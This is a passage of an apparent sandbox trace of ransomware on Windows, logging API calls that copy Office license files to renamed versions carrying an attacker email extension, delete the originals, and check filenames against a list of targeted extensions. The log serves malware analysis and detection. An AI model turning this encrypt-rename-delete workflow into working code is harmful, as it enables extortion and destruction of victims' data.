lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11e, lpOverlapped=0x0) returned 1 [0274.287] SetEndOfFile (hFile=0x57c) returned 1 [0274.287] CloseHandle (hObject=0x57c) returned 1 [0274.288] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.288] SetEndOfFile (hFile=0x580) returned 1 [0274.291] CloseHandle (hObject=0x580) returned 1 [0274.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 1 [0274.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.293] lstrlenW (lpString=".doc") returned 4 [0274.293] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.293] lstrlenW (lpString=".docx") returned 5 [0274.293] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.293] lstrlenW (lpString=".pdf") returned 4 [0274.293] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.293] lstrlenW (lpString=".xls") returned 4 [0274.293] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.293] lstrlenW (lpString=".xlsx") returned 5 [0274.293] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.293] lstrlenW (lpString=".ppt") returned 4 [0274.293] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.293] lstrlenW (lpString=".zip") returned 4 [0274.293] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.294] lstrlenW (lpString=".rar") returned 4 [0274.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.294] lstrlenW (lpString=".bz2") returned 4 [0274.294] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.294] lstrlenW (lpString=".7z") returned 3 [0274.294] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.294] lstrlenW (lpString=".dbf") returned 4 [0274.294] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.294] lstrlenW (lpString=".1cd") returned 4 [0274.294] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.294] lstrlenW (lpString=".jpg") returned 4 [0274.294] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.294] lstrlenW (lpString=".doc") returned 4 [0274.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.294] lstrlenW (lpString=".docx") returned 5 [0274.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.294] lstrlenW (lpString=".pdf") returned 4 [0274.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.294] lstrlenW (lpString=".xls") returned 4 [0274.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.294] lstrlenW (lpString=".xlsx") returned 5 [0274.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.294] lstrlenW (lpString=".ppt") returned 4 [0274.294] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.295] lstrlenW (lpString=".zip") returned 4 [0274.295] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.295] lstrlenW (lpString=".rar") returned 4 [0274.295] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.295] lstrlenW (lpString=".bz2") returned 4 [0274.295] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.295] lstrlenW (lpString=".7z") returned 3 [0274.295] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.295] lstrlenW (lpString=".dbf") returned 4 [0274.295] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.295] lstrlenW (lpString=".1cd") returned 4 [0274.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0274.295] lstrlenW (lpString=".jpg") returned 4 [0274.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.295] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0274.295] lstrlenW (lpString="O365HomePremR_Subscription1-ppd.xrm-ms") returned 38 [0274.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0274.299] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=26541) returned 1 [0274.299] CloseHandle (hObject=0x580) returned 1 [0274.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 0x220 [0274.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0274.300] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.300] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0274.302] GetLastError () returned 0x0 [0274.302] ReadFile (in: hFile=0x580, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x67ad, lpOverlapped=0x0) returned 1 [0274.305] WriteFile (in: hFile=0x57c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x67b0, lpOverlapped=0x0) returned 1 [0274.307] ReadFile (in: hFile=0x580, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0274.307] WriteFile (in: hFile=0x57c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x120, lpOverlapped=0x0) returned 1 [0274.308] SetEndOfFile (hFile=0x57c) returned 1 [0274.308] CloseHandle (hObject=0x57c) returned 1 [0274.308] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0274.308] SetEndOfFile (hFile=0x580) returned 1 [0274.886] CloseHandle (hObject=0x580) returned 1 [0274.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 1 [0274.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0274.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0274.998] lstrlenW (lpString=".doc") returned 4 [0274.998] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.998] lstrlenW (lpString=".docx") returned 5 [0274.998] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.998] lstrlenW (lpString=".pdf") returned 4 [0274.998] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.998] lstrlenW (lpString=".xls") returned 4 [0274.998] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.998] lstrlenW (lpString=".xlsx") returned 5 [0274.998] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0274.998] lstrlenW (lpString=".ppt") returned 4 [0274.998] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0274.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0274.998] lstrlenW (lpString=".zip") returned 4 [0274.998] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0274.998] lstrlenW (lpString=".rar") returned 4 [0274.999] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0274.999] lstrlenW (lpString=".bz2") returned 4 [0274.999] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0274.999] lstrlenW (lpString=".7z") returned 3 [0274.999] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0274.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0274.999] lstrlenW (lpString=".dbf") returned 4 [0274.999] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0274.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0274.999] lstrlenW (lpString=".1cd") returned 4 [0274.999] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0274.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0274.999] lstrlenW (lpString=".jpg") returned 4 [0274.999] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0274.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0274.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0274.999] lstrlenW (lpString=".doc") returned 4 [0274.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0274.999] lstrlenW (lpString=".docx") returned 5 [0274.999] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0274.999] lstrlenW (lpString=".pdf") returned 4 [0274.999] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0274.999] lstrlenW (lpString=".xls") returned 4 [0274.999] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0274.999] lstrlenW (lpString=".xlsx") returned 5 [0274.999] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.000] lstrlenW (lpString=".ppt") returned 4 [0275.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0275.000] lstrlenW (lpString=".zip") returned 4 [0275.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.000] lstrlenW (lpString=".rar") returned 4 [0275.000] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.000] lstrlenW (lpString=".bz2") returned 4 [0275.000] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.000] lstrlenW (lpString=".7z") returned 3 [0275.000] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0275.000] lstrlenW (lpString=".dbf") returned 4 [0275.000] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0275.000] lstrlenW (lpString=".1cd") returned 4 [0275.000] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0275.000] lstrlenW (lpString=".jpg") returned 4 [0275.000] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.000] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.000] lstrlenW (lpString="O365HomePremR_Subscription2-ppd.xrm-ms") returned 38 [0275.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0275.018] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=26541) returned 1 [0275.018] CloseHandle (hObject=0x42c) returned 1 [0275.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 0x220 [0275.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0275.019] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.019] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0275.021] GetLastError () returned 0x0 [0275.021] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x67ad, lpOverlapped=0x0) returned 1 [0275.024] WriteFile (in: hFile=0x580, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x67b0, lpOverlapped=0x0) returned 1 [0275.026] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0275.026] WriteFile (in: hFile=0x580, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x120, lpOverlapped=0x0) returned 1 [0275.026] SetEndOfFile (hFile=0x580) returned 1 [0275.026] CloseHandle (hObject=0x580) returned 1 [0275.026] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.026] SetEndOfFile (hFile=0x42c) returned 1 [0275.030] CloseHandle (hObject=0x42c) returned 1 [0275.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 1 [0275.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.032] lstrlenW (lpString=".doc") returned 4 [0275.032] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.032] lstrlenW (lpString=".docx") returned 5 [0275.032] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.032] lstrlenW (lpString=".pdf") returned 4 [0275.032] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.032] lstrlenW (lpString=".xls") returned 4 [0275.032] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.032] lstrlenW (lpString=".xlsx") returned 5 [0275.032] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.032] lstrlenW (lpString=".ppt") returned 4 [0275.032] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.032] lstrlenW (lpString=".zip") returned 4 [0275.032] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.032] lstrlenW (lpString=".rar") returned 4 [0275.033] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.033] lstrlenW (lpString=".bz2") returned 4 [0275.033] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.033] lstrlenW (lpString=".7z") returned 3 [0275.033] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.033] lstrlenW (lpString=".dbf") returned 4 [0275.033] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.033] lstrlenW (lpString=".1cd") returned 4 [0275.033] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.033] lstrlenW (lpString=".jpg") returned 4 [0275.033] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.033] lstrlenW (lpString=".doc") returned 4 [0275.033] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.033] lstrlenW (lpString=".docx") returned 5 [0275.033] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.033] lstrlenW (lpString=".pdf") returned 4 [0275.033] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.033] lstrlenW (lpString=".xls") returned 4 [0275.033] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.033] lstrlenW (lpString=".xlsx") returned 5 [0275.033] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.033] lstrlenW (lpString=".ppt") returned 4 [0275.033] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.033] lstrlenW (lpString=".zip") returned 4 [0275.033] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.034] lstrlenW (lpString=".rar") returned 4 [0275.034] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.034] lstrlenW (lpString=".bz2") returned 4 [0275.034] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.034] lstrlenW (lpString=".7z") returned 3 [0275.034] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.034] lstrlenW (lpString=".dbf") returned 4 [0275.034] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.034] lstrlenW (lpString=".1cd") returned 4 [0275.034] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88 [0275.034] lstrlenW (lpString=".jpg") returned 4 [0275.034] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.034] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.034] lstrlenW (lpString="O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 41 [0275.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0275.036] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11651) returned 1 [0275.036] CloseHandle (hObject=0x42c) returned 1 [0275.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 0x220 [0275.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0275.037] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.037] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0275.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0275.039] GetLastError () returned 0x0 [0275.039] ReadFile (in: hFile=0x42c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d83, lpOverlapped=0x0) returned 1 [0275.427] WriteFile (in: hFile=0x580, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x36efc94, 